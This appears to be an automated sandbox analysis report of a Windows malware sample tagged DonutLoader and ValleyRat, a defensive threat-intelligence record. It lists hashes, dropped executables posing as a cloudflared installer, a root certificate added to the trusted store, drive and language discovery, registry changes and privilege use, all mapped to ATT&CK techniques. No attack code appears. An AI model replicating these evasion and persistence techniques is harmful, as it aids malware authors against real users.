donutloader | 992228d01288155f2e89988e807e178d977112f28840065d67709b4cb6ee6baa

Analysis

max time kernel
150s
max time network
157s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
13/09/2026, 10:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-13_c675848d76ae6aabec2e0714db4c73ee_cloudeye_elex_wannacry.exe
Size 87.5MB
Sample260913-mkhevsfn2s
SHA256 992228d01288155f2e89988e807e178d977112f28840065d67709b4cb6ee6baa
MD5 c675848d76ae6aabec2e0714db4c73ee
SHA1 315f675f67bded33964134c77ea69a9c2854d2b8
SHA512 033766cc95b6dd12b60effff4d11581b5f04dbbe17692d3392b7c8119c2d7028c90ad2e877a1a0b15ec2aed37951e84fd130644b05c70a782c26b5de1764d443
SSDEEP 1572864:1fQFgaDHuiCofCcTnhJXwLOv0nCca2YOqPE1Q/R+3FdYWyn+SQRPJWuqUpIoC3bM:sNeofTThdw+iCca2JS/eFmWyn+NJKoCQ
TLSH
T1E21833C30610189BF640FDFE5AC6B38E5C333A922F4926C5F61DD5A029142CEF967A97
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

backdoor defense_evasion discovery execution donutloader valleyrat_s2 installer loader spyware trojan

Malware Config

Signatures

Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader
Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
backdoor valleyrat_s2

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral2/memory/4320-78-0x0000000000940000-0x0000000000959000-memory.dmp	family_donutloader

Executes dropped EXE 6 IoCs

pid	Process
5100	MeiqiaWinLatest.exe
4160	cloudflared_installer.exe
5276	cloudflared_installer.tmp
5892	System.exe
4320	WindowsEvent.exe
5208	WindowsEvent.exe

Loads dropped DLL 7 IoCs

pid	Process
4312	2026-09-13_c675848d76ae6aabec2e0714db4c73ee_cloudeye_elex_wannacry.exe
4312	2026-09-13_c675848d76ae6aabec2e0714db4c73ee_cloudeye_elex_wannacry.exe
4312	2026-09-13_c675848d76ae6aabec2e0714db4c73ee_cloudeye_elex_wannacry.exe
5100	MeiqiaWinLatest.exe
5100	MeiqiaWinLatest.exe
5276	cloudflared_installer.tmp
1280	rundll32.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2520	msiexec.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
5004	cscript.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\cloudflared\cloudflared.exe	msiexec.exe

Drops file in Windows directory 12 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e597895.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFD61E974DB4ECC3CB.TMP	msiexec.exe
File created	C:\Windows\Installer\e597891.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF2273E0854662FA52.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF759B67EABA9F127D.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e597891.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF981E405694AF0642.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{4E770F36-669B-4959-9C32-3F8ABC7E2BEE}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7D73.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c61900000001000000100000002fe1f70bb05d7c92335bc5e05b984da6030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f6314000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	System.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c00000001000000040000000010000014000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e81900000001000000100000002fe1f70bb05d7c92335bc5e05b984da66b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	System.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4424	5100	WerFault.exe	89

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-09-13_c675848d76ae6aabec2e0714db4c73ee_cloudeye_elex_wannacry.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cloudflared_installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cloudflared_installer.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WindowsEvent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MeiqiaWinLatest.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Inno Setup is an open-source installation builder for Windows applications. 4 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/files/0x000e00000001c57f-32.dat	innosetup
behavioral2/memory/4160-36-0x0000000000A20000-0x0000000000B12000-memory.dmp	innosetup
behavioral2/memory/4160-71-0x0000000000A20000-0x0000000000B12000-memory.dmp	innosetup
behavioral2/memory/4160-76-0x0000000000A20000-0x0000000000B12000-memory.dmp	innosetup

Modifies data under HKEY_USERS 52 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	System.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust"	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	System.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\fveui.dll,-843 = "BitLocker Drive Encryption"	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	System.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave"	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	System.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)"	System.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update"	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E	System.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\fveui.dll,-844 = "BitLocker Data Recovery Agent"	System.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	System.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption"	System.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	System.exe

Modifies registry class 26 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	2026-09-13_c675848d76ae6aabec2e0714db4c73ee_cloudeye_elex_wannacry.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\ProductName = "cloudflared"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\PackageCode = "A4020AECCD1B4A2429FDA8347BBAF2B7"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\ddf09f328239ae74ba25350858a5b421	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	2026-09-13_c675848d76ae6aabec2e0714db4c73ee_cloudeye_elex_wannacry.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	2026-09-13_c675848d76ae6aabec2e0714db4c73ee_cloudeye_elex_wannacry.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\63F077E4B9669594C923F3A8CBE7B2EE	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\63F077E4B9669594C923F3A8CBE7B2EE\Complete	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\SourceList\PackageName = "cf.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	2026-09-13_c675848d76ae6aabec2e0714db4c73ee_cloudeye_elex_wannacry.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\SourceList\Media\1 = ";"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\is-7G57L.tmp\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\Version = "3909812225"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\ddf09f328239ae74ba25350858a5b421\63F077E4B9669594C923F3A8CBE7B2EE	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\is-7G57L.tmp\\"	msiexec.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	System.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4312	2026-09-13_c675848d76ae6aabec2e0714db4c73ee_cloudeye_elex_wannacry.exe
4312	2026-09-13_c675848d76ae6aabec2e0714db4c73ee_cloudeye_elex_wannacry.exe
5276	cloudflared_installer.tmp
5276	cloudflared_installer.tmp
2520	msiexec.exe
2520	msiexec.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4104	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4104	msiexec.exe
Token: SeSecurityPrivilege	2520	msiexec.exe
Token: SeCreateTokenPrivilege	4104	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4104	msiexec.exe
Token: SeLockMemoryPrivilege	4104	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4104	msiexec.exe
Token: SeMachineAccountPrivilege	4104	msiexec.exe
Token: SeTcbPrivilege	4104	msiexec.exe
Token: SeSecurityPrivilege	4104	msiexec.exe
Token: SeTakeOwnershipPrivilege	4104	msiexec.exe
Token: SeLoadDriverPrivilege	4104	msiexec.exe
Token: SeSystemProfilePrivilege	4104	msiexec.exe
Token: SeSystemtimePrivilege	4104	msiexec.exe
Token: SeProfSingleProcessPrivilege	4104	msiexec.exe
Token: SeIncBasePriorityPrivilege	4104	msiexec.exe
Token: SeCreatePagefilePrivilege	4104	msiexec.exe
Token: SeCreatePermanentPrivilege	4104	msiexec.exe
Token: SeBackupPrivilege	4104	msiexec.exe
Token: SeRestorePrivilege	4104	msiexec.exe
Token: SeShutdownPrivilege	4104	msiexec.exe
Token: SeDebugPrivilege	4104	msiexec.exe
Token: SeAuditPrivilege	4104	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4104	msiexec.exe
Token: SeChangeNotifyPrivilege	4104	msiexec.exe
Token: SeRemoteShutdownPrivilege	4104	msiexec.exe
Token: SeUndockPrivilege	4104	msiexec.exe
Token: SeSyncAgentPrivilege	4104	msiexec.exe
Token: SeEnableDelegationPrivilege	4104	msiexec.exe
Token: SeManageVolumePrivilege	4104	msiexec.exe
Token: SeImpersonatePrivilege	4104	msiexec.exe
Token: SeCreateGlobalPrivilege	4104	msiexec.exe
Token: SeRestorePrivilege	2520	msiexec.exe
Token: SeTakeOwnershipPrivilege	2520	msiexec.exe
Token: SeRestorePrivilege	2520	msiexec.exe
Token: SeTakeOwnershipPrivilege	2520	msiexec.exe
Token: SeRestorePrivilege	2520	msiexec.exe
Token: SeTakeOwnershipPrivilege	2520	msiexec.exe
Token: SeRestorePrivilege	2520	msiexec.exe
Token: SeTakeOwnershipPrivilege	2520	msiexec.exe
Token: SeRestorePrivilege	2520	msiexec.exe
Token: SeTakeOwnershipPrivilege	2520	msiexec.exe
Token: SeRestorePrivilege	2520	msiexec.exe
Token: SeTakeOwnershipPrivilege	2520	msiexec.exe
Token: SeRestorePrivilege	2520	msiexec.exe
Token: SeTakeOwnershipPrivilege	2520	msiexec.exe
Token: SeRestorePrivilege	2520	msiexec.exe
Token: SeTakeOwnershipPrivilege	2520	msiexec.exe
Token: SeRestorePrivilege	2520	msiexec.exe
Token: SeTakeOwnershipPrivilege	2520	msiexec.exe
Token: SeRestorePrivilege	2520	msiexec.exe
